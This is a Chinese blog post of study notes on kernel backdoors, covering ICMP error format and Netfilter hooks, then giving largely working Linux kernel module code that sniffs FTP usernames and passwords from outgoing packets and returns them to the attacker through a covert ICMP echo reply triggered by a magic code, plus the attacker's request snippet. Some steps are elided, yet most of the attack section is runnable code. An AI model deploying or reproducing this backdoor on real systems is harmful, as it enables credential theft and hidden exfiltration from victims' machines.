内核编程之后门程序的要点笔记

1、套接字之ICMP差错报文

所有的ICMP差错报告报文中的数据字段都具有同样的格式。将收到的需要进行差错报告IP数据报的首部和数据字段的前8个字节提取出来,作为ICMP报文的数据字段。再加上响应的ICMP差错报告报文的前8个字节,就构成了ICMP差错报告报文。提取收到的数据报的数据字段的前8个字节是为了得到运输层的端口号(对于TCP和UDP)以及运输层报文的发送序号(对于TCP)。

 

参考文章:ICMP报文分析

 

2、Netfilter和dev_queue_xmit分析

dev_queue_xmit是一个网络设备接口层函数,它将构造的封包发送给底层的driver。

int dev_queue_xmit(struct sk_buff *skb)
{
    return __dev_queue_xmit(skb, NULL);
}

sk_buff,全称socket buffers,中文名字叫套接字缓存。它作为网络数据包的存放地点,使得协议栈中每个层都可以对数据进行操作,从而实现了数据包自底向上的传递。该结构维护收到的或者要发送的网络包,存储网络包解析的结果。

 

在将封包发送给driver之后,在钩子函数中需要返回NF_STOLEN。它告诉Netfilter“忘记”数据包。这告诉Netfilter,钩子函数将从Netfilter获得了数据包的所有权并自行处理这个数据包,Netfilter应该放弃对它的所有处理,但这并不意味着数据包的资源被释放,数据包及其各自的sk_buff结构仍然有效。

Netfilter可以控制五个hook点,当Netfilter放弃当前数据包后,不再将数据包传到下个hook点。

 

参考文章:防火墙(netfilter/iptables)

 

3、后台程序窃取网络信息

后来程序窃取有用信息有两个步骤:

1)在受害主机上安装可加载内核模块,通过netfilter在ip层hook点利用钩子函数进行信息的窃取,并在本地开辟内存保存窃取到的信息。

post_hook.hook     = watch_out;
post_hook.pf       = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum  = NF_INET_POST_ROUTING;
nf_register_hook(&post_hook);
static unsigned int watch_out(unsigned int hooknum,       //对于要朝外发的包,如果是检测的目标端口和协议,则窃取用户名和密码
                  struct sk_buff *skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = skb;
/*......省略部分步骤......*/
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));    //ip_hdr->ihl即ip头的长度
   data = (char *)((int)tcp + (int)(tcp->doff * 4));               //tcp->doff即tcp头的长度

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (ip_hdr(skb)->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'  //寻找username的长度
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)   //多给存放username的地方分配2个字节的空间
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);       //复制username到指定空间
      *(username + len) = '\0';           /* 在username尾部添字符串结束符,方便以字符串形式输出 */

   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'     //寻找password的长度
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)  //多给存放password的地方分配2个字节的空间
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);           //复制password到指定位置
      *(password + len) = '\0';           /* NULL terminate */

   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
     
     return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = ip_hdr(skb)->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
   if (have_pair)
     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

 

2)利用icmp echo传出信息。当受害者主机接收到带有特别code的icmp request时(称为magic code,该code在攻击者安装内核模块时由攻击者规定,必须独一无二,使受害主机能够判别该icmp request是攻击者发送的),将存储在受害主机本地的信息写入icmp报文,通过icmp reply传给攻击主机。

pre_hook.hook     = watch_in;
pre_hook.pf       = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum  = NF_INET_PRE_ROUTING;
nf_register_hook(&pre_hook);
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff *skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = skb;
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO     //MAGIC_CODE需要与攻击者构造的icmp包头中的code值一致,才能判断该icmp请求包是攻击者发送的
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {                      //并且这个MAGIC_CODE必须独一无二,不能是常用code类型
      return NF_ACCEPT;
   }
/*......交换ip,交换mac,作为icmp reply的头部,过程省略......*/
/* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);             //tatget_ip是server_ip
   if (username)
     //memcpy(cp_data + 4, username, 16);
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);    //将封包通过这个网络设备接口层函数发送给driver

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;  //Netfilter不再转发此包
}

 

攻击者的工作

fprintf(stdout, "Sending request...\n");
sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr));

fprintf(stdout, "Waiting for reply...\n");
recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size);

参考文章:.:: Hacking the Linux Kernel Network Stack ::.

posted @ 2019-05-02 14:11  thePacer  阅读(500)  评论(0编辑  收藏  举报